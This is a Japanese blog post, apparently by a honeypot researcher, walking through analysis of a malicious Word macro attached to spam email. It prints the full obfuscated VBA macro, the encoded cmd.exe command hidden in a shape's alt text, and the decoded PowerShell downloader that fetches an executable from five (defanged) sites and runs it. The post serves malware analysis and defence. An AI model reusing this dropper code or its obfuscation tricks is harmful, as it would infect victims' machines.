ハニーポットの観測記録

ハニーポッターすぎたむちのぶろぐ

ばらまきメールに添付されている難読化を用いたマルウェアを調査してみた(マクロ)

2019/01/14追記 : 本記事は1/20頃に非表示にする予定です。

長々と更新できておらず、すいません。

今回は、ハニーポットについてではなく、ばらまきメールに添付された難読化を用いたマルウェアを調査してみたので、備忘録も兼ねて流れを書いてみようかなと思いました。
※多分に独学による知見等が含まれておりますので、あくまで参考程度に

ばらまきメールについてや最新の動向についてはここでは書きませんので、気になる方は別途お調べください。

そして今さら難読化についてかよ・・・とは言わないで(笑)
ただ書きたいだけなんです(笑)


■今回調査した検体
SHA256 : 5447ddda5fa9f20e2bdbc8fe02741c0ae4deecb7f6f8e5c9efbdbc741abb6ff5
File : Sample.doc

VirusTotalで確認する限り、各セキュリティベンダ製品の検出率は既に高い検体となります。

https://www.virustotal.com/#/file/5447ddda5fa9f20e2bdbc8fe02741c0ae4deecb7f6f8e5c9efbdbc741abb6ff5/detection

(実は難易度が簡単な検体を選びました・・・)

Base64とか使ってないやつです)


■目的
検出名を確認するとDownloader系であることがわかります。
この検体を実行した場合、どこかに通信を行って、新たに悪意あるプログラムをダウンロードして実行するのでしょうか。

ということで、通信先を特定することを目的にします。


■Let's try!
まずは、マクロ部分を抽出します。
抽出する方法は悩みましたが、色々調べた結果「oletools」を使うことにしました。

https://www.decalage.info/python/oletools

使い方は簡単。
コマンドプロンプトで以下のようにファイルを指定して実行します。

olevba Sample.doc -c


抽出した結果が以下です。

olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-HB-- Sample.doc
===============================================================================
FILE: Sample.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO jGidTUdwkC.cls 
in file: Sample.doc - OLE stream: u'Macros/VBA/jGidTUdwkC'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub autoopen()
OOVvnuOr
End Sub
-------------------------------------------------------------------------------
VBA MACRO lHmQYJRr.bas 
in file: Sample.doc - OLE stream: u'Macros/VBA/lHmQYJRr'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function OOVvnuOr()
On Error Resume Next
    RAUzWzZRlDhwaP = MMdjOaRmKsQTnLuuaL / Tan(310459650) * 102639347 / Tan(186974597) + DraKJpGUiFMMGuzKT - Cos(190305839) + (252585 / Int(KHGdlFqIHmfzvzImI))
Set QcfpKKHaEAuPsS = OFwkwYEzzNvZMRJlM
OMXiVzvWLApOru = khsMCLjMchcOluJv
    urciDvLiGUpwkCiWTa = zfijjHkvFQFGzU / Tan(38791028) * 75973388 / Tan(57746273) + GjYLoszDoJGTYWWsQq - Cos(82621852) + (46689513 / Int(WTzGNBOsdirZANqdmrpmfSa))
Set mrjkEDPwBdjQYEarjLKfPt = JfOiwWVMEsLTVSinaOs
XdaFhRwCUHvYsUZEqZR = jQfYNlEZFYkQXVAfFJw
    kjazwzbsIFLQQZB = mvjIrmaWKDACPDFhKJzi / Tan(57410279) * 337606669 / Tan(5337562) + vXOMTPUMjvMLtXQzIEmtzZ - Cos(191358832) + (34614825 / Int(iFHcSUnutNTYNC))
Set ioVTquontzaEMHoWuIMpKNj = bZQzKwZuBsLLDJOF
SOcsPbnErZPBMkUEHrRiod = afCTvdSktGzszHVLzdvSWKtp
    rQiwKwkCrkEjiJLzEOqc = lUlJdbiKGUAwYQ / Tan(320627423) * 228851941 / Tan(260312091) + LivPdUjqUfZShQT - Cos(172680088) + (37797859 / Int(tojWBrkQDmKtOORFfuHVqQZn))
Set DknnkczKApwcojD = NQwfbQKBbkZSjFcPtQwH
dSKMiOZScrNDqdzcHfmalLAC = auMjjXiwhkzmStCljztL
Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame
    PooqdhcPZPrbolvjL = hRDoYpUizuzOrMPh / Tan(78402454) * 177761826 / Tan(216813775) + jDBKkPAJmOzDtqoHMb - Cos(110823016) + (332611565 / Int(vkiSKYfMGZUCsfdQsE))
Set pLwivuVAXHUkKiz = TTsZqUwfpiABLLrTXHJKz
mXpXIEmpKUutJw = iSUOQtQuUoMQAM
UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS
    fGdTPOrOsvDCZBYiwkjMaEz = TSqcvcLOiSVECUGLNczklOBR / Tan(119250883) * 233676311 / Tan(335930246) + KwQaGdzzXPTPkpTHjU - Cos(206803058) + (186219813 / Int(YzzEONEQZKMdpDjBuzZU))
Set nzJkAwvtkwEWrmzT = sPvjwFHluljGlWGHUk
oUORJXoMIHwRki = FJZdosCwFLLnwbzOXBw
    fjFpsiUsnYTIpm = DOToqlvWQJjCzOnUEb / Tan(56878822) * 82726276 / Tan(302701408) + vLtHSzvKqOinowwz - Cos(124473635) + (106975102 / Int(KofJcUiAEPjjZbtSHujSv))
Set GTVTMZqXHIscjVPCRmo = qvKhILuioCjzojiMnIIEJhIX
zsYCFdwiwkKInLAfMjEZun = mDOIdjpJnmtLTV
    KYsMjOJUDfEYVpAwQK = FvqNWvNoXrUjzrBrvibZfhTi / Tan(91995373) * 318156400 / Tan(74190245) + YobpoLfZTLVRTZ - Cos(250811979) + (190418079 / Int(wHhTzFOokTXcHzajJQiQf))
Set lMbYkMKGGvqARpikajMADsH = LLuhKIDMCBVVrZVBiiMclHhl
YqzDfrtEiMYScww = izPTJtBOKVYffMEdIblSEIX
    jcsDUYlXAhGzbPNwXMS = pYzcKzjOPoitzEaI / Tan(56211469) * 189840502 / Tan(114071080) + JiNRHMuviOLbho - Cos(254384679) + (68840837 / Int(PsXoXIMzMAXoFouvQELL))
Set VzDokAcGLJRQftktNmVAS = MXHYaRjRjbwuuuUAmIksBrF
ZvKBCSqKPalfhLZLatZ = RlwpZMzNQZtURiwfGiORkni
    UztzHpMwfLPniqjh = IporVokYTCYGILmwLQh / Tan(265683840) * 153270607 / Tan(152841311) + zWqhcjjSTHCiWOU - Cos(337026252) + (71520359 / Int(YonnpXAdoSZBtEli))
Set UfGIpmjFwFcPjrRWiwiSKhT = wuNtROwzoXzUDBjBDhrRX
FaIfOFCQjnLZJuYpo = HibLszTdPjOdpBJkpnlmz
    EaaNCZWoNwPTkrJqWvJjaCWX = QSATPSwbJhicWM / Tan(65746795) * 215219468 / Tan(204929730) + qZRpMrtLvHNVCECNl - Cos(47691331) + (144911759 / Int(zjQrbKiOAizDvjfwia))
Set IZEWrNniaZJaCKJ = JJZOCNfLNHKaTYEiLB
vtJYdnfDoqHwslOV = ILDvusJkDNLCVfPBzNbAkw
    HtontaUNoUXcJIdhRpqwtwCj = NKWCLTsFJwjSrmLZLqXkKtu / Tan(332234375) * 192400945 / Tan(113358391) + NcFJrFsfPzLcAfWzKtOZDfWh - Cos(54897091) + (202762412 / Int(kUPYZuYfcEosNwHvbAOWEntk))
Set OrshGXAMGILzZl = cAtuVBAbwjuhuHuwafTKD
zWhojHpvvCOjuEuwODNQ = wLpGELMkTGbiwCWNhVtlAnsT
    AGJODfLazvVBDIY = MOWQRjKIQRfwdwPn / Tan(10680775) * 88026062 / Tan(5694442) + BdsPMMVJqiddiNrK - Cos(103679627) + (49968174 / Int(TvBwmANzDjizpHLIjWHEEK))
Set RhnBTPFEYuYjRz = FPwPSdIjnWSEInICjJtj
wwthwbJFRauJDQrGp = YIwAfBKwQPrpXXPNHQFiTBw
Const wuKhm = 0
    SrEPusACONpvnswR = UjOIIQvThwUEvzcnwGfFEjqc / Tan(82089093) * 201766679 / Tan(213374959) + wHOEXvpOwCJbJwN - Cos(319563352) + (214725141 / Int(SOMIqmTMulsmvijmUZiQhzKO))
Set twEwIVuvOLSwqQblKBEWMH = rWbnOQQSDwTzpOQlPwqh
RpiIGfWwGrclQNZji = fztOwXTlWuPpXVaNZhzi
uUzGqLYB = Array(EjSLjYCrG, UIcjQUHL, nrjDY, Interaction _
. _
Shell(UujRdVwoiR, wuKhm), DYQrjHNUC)
    ioUDwANJjMRICiaVwtiKAR = hzANhDjmKLPnIXqNGrkmzOd / Tan(146920656) * 210550703 / Tan(209470853) + vJhGpRznDznfFCaGzmu - Cos(115822250) + (332443210 / Int(fYTQirTWihBblcc))
Set aWLkmQTMfkYIjj = OdpdJnZmFUhTFddRwdsMY
OTPEGkuTLquwnww = TQBjFPFwOiBSZinXNHOVOFjo
    kFwHrGDoiKsJokrQHfosMX = lfGwwcPIzvMBtbaPhW / Tan(237472344) * 199560146 / Tan(32367317) + LajJcGGdsbMjNcl - Cos(68154377) + (32389288 / Int(PCtObiwohPGWctRj))
Set fQozIBVDkpJOziWRXP = LwwzLnZrWVzSRh
GuQMGAXLqtoZjkk = EiOUXjScLiKzhlW
    HvOIEQscnAZKvuQws = zhrzulfNfULsLKYTTozaIbai / Tan(178756433) * 158395111 / Tan(206069705) + ZCIYSNbZYHAddqkYRvoPl - Cos(189907856) + (182493627 / Int(wSpWGNYWFzndMmZzjzu))
Set oWzRqCMfjQzzajcA = FSLiiXfCHMiVrfliPna
YfEAsnpzqCfKZZijic = wROiqiKskLOKsBfz
End Function


まずは、一通りじっくり見ることをお勧めします。

Tan関数やCos、Int関数などを使用しながら何かを計算しつつ代入を行っているようにも見えますが、実はこの辺りはフェイクである可能性があります。(と思っている)

そして、今回通信先を特定するにあたって、必要な部分だけを抜き出したのが以下。

Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame

UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS

Const wuKhm = 0

uUzGqLYB = Array(EjSLjYCrG, UIcjQUHL, nrjDY, Interaction _
. _
Shell(UujRdVwoiR, wuKhm), DYQrjHNUC)

これだけだとよくわからないので、一つ一つ丁寧に見ていきましょう

まずは、(おそらくですが)コードが実際に実行されるのはShell()の辺りと仮定して、UujRdVwoiRwuKhmが変数として呼ばれているようです。
2つ目の引数wuKhmConst wuKhm = 0となっているので、0が入っているのでしょう。
意味としては、実行中のウィンドウが非表示になるのでしょうか。

次に、1つ目の引数UujRdVwoiRを確認すると、

UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS

といった感じで、変数に格納されている何かを連結しているように見えます。

そのため、各変数に何が格納されているのかちょっと確認してみましたが、実際に値が格納されているのはGwRzbCpRBだけのようです。
GwRzbCpRB.ContainingRange.ContainingRangeが厳密に何を意味するのかはわかりませんでした。(検証すればいいんですが)

次に、GwRzbCpRBに何が格納されるのか確認すると、以下のようにShapes().TextFrameを使って、図形に格納されたテキストを取得していることがわかります

Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame


図形の名前はNHrbYo + "YkNcqWp" + vNsVwmjですが、NHrbYovNsVwmjは値が入っていませんので、YkNcqWpが図形の名前でしょうか。

同じ名前の図形を探してみましょう。

f:id:SugitaMuchi:20190112220446p:plain ありました。

あとは画像に設定されている代替テキストを取得しましょう。
f:id:SugitaMuchi:20190112220902p:plain

取得したテキストは以下です

c:\LSlFtkC\ZKaitozRAJzvI\YEvkKPpYdo\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc&&for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!&&if %j gtr 85 %TEMP:~-1,1%owershell "!C6R:~-432!""


ということで、Shell()で呼ばれている変数UujRdVwoiR(GwRzbCpRB.ContainingRangeが代入されている)には、最終的に上記のコマンドが格納されることがわかりました。

ただし、目的である通信先については、未だ判明しないため、引き続き調査してみましょう。

c:\LSlFtkC\ZKaitozRAJzvI\YEvkKPpYdo\..\..\..\windows\system32\cmd.exeは、Cドライブの存在しないパスから始まりますが、そこから相対パスで書かれており、最終的にはcmd.exe /cを実行するようです。

次に%ProgramData:~0,1%%ProgramData:~9,2%ですが、環境変数%ProgramData%の0番目から1文字、%ProgramData%の9番目から2文字を取得し、CmDという文字列を完成させています。
そのため、CmD /V:O/Cが実行されるようです。

次に

set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc

にて、謎の文字列が環境変数としてセットされつつ、


&&を使って同時に

for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!

のfor文が実行され、

if %j gtr 85 %TEMP:~-1,1%owershell "!C6R:~-432!"

%jが85より大きくなった場合に%TEMP:~-1,1%owershell "!C6R:~-432!"が実行されるようです。


ぱっと見た限りだと、意味があるようには思えませんが、実はこれイメージ的にはアナグラムっぽくなっており、blにセットされた文字列の52番目、49番目、44番目といった感じに、意味ある文字列が作られていきます。
for文の最後set C6R=!C6R!!bl:~%j,1!がそこにあたります。
その後、%jが85より大きくなった時に、Powershellコマンドとして連結された文字列が実行されます。

それが以下

powershell $JZk='WNF';
$NMX=new-object Net.WebClient;
$Qqq='hxxp://www[.]srskgroup[.]com/9d74kPY@hxxp://www[.]stovefree[.]com/Zg@hxxp://www[.]rohanpurit[.]com/gfnpS@hxxp://www[.]misyaland[.]com/q@hxxp://teambored[.]co[.]uk/Ps'.Split('@');
$tLz='Pnu';
$XKo = '694';
$cKT='Cnl';
$iXq=$env:temp+'\'+$XKo+'.exe';
foreach($nCj in $Qqq)
 {try
  {$NMX.DownloadFile($nCj, $iXq);
  $Dsk='oni';
  If ((Get-Item $iXq).length -ge 80000) {
   Invoke-Item $iXq;
   $lVn='wTC';
   break;
   }
  }catch{
  }
 }
$Csc='Miq';

※わかりやすく改行、インデントいれてます。
※安全を考慮して、通信先はサニタイジングしてます。

ここまでくれば通信先がわかりました。

hxxp://www[.]srskgroup[.]com/9d74kPY
hxxp://www[.]stovefree[.]com/Zg
hxxp://www[.]rohanpurit[.]com/gfnpS
hxxp://www[.]misyaland[.]com/q
hxxp://teambored[.]co[.]uk/Ps

@文字で区切った文字列をsplitで切り分けて配列として$Qqqへ格納し、後のforeach文で取り出して利用しているのでしょう。
通信先からダウンロードしてきたファイルは694.exeにリネームされ、文字数が80,000を超えていた場合、実行といった感じでしょうか。

こんな感じで、目的の通信先を特定することができました。

なお、検体によっては難読化の手法や難易度が変わってきますので、ここまで簡単に特定できるとは限りませんので、その辺はご理解ください。


■注意
・本記事は不正な通信先を特定する方法について記載したものであり、いかなる理由でも悪用はしないでください。
・予告なく本記事を削除する場合があります。
・記事に誤まり等があればTwitterのDMにてご連絡ください。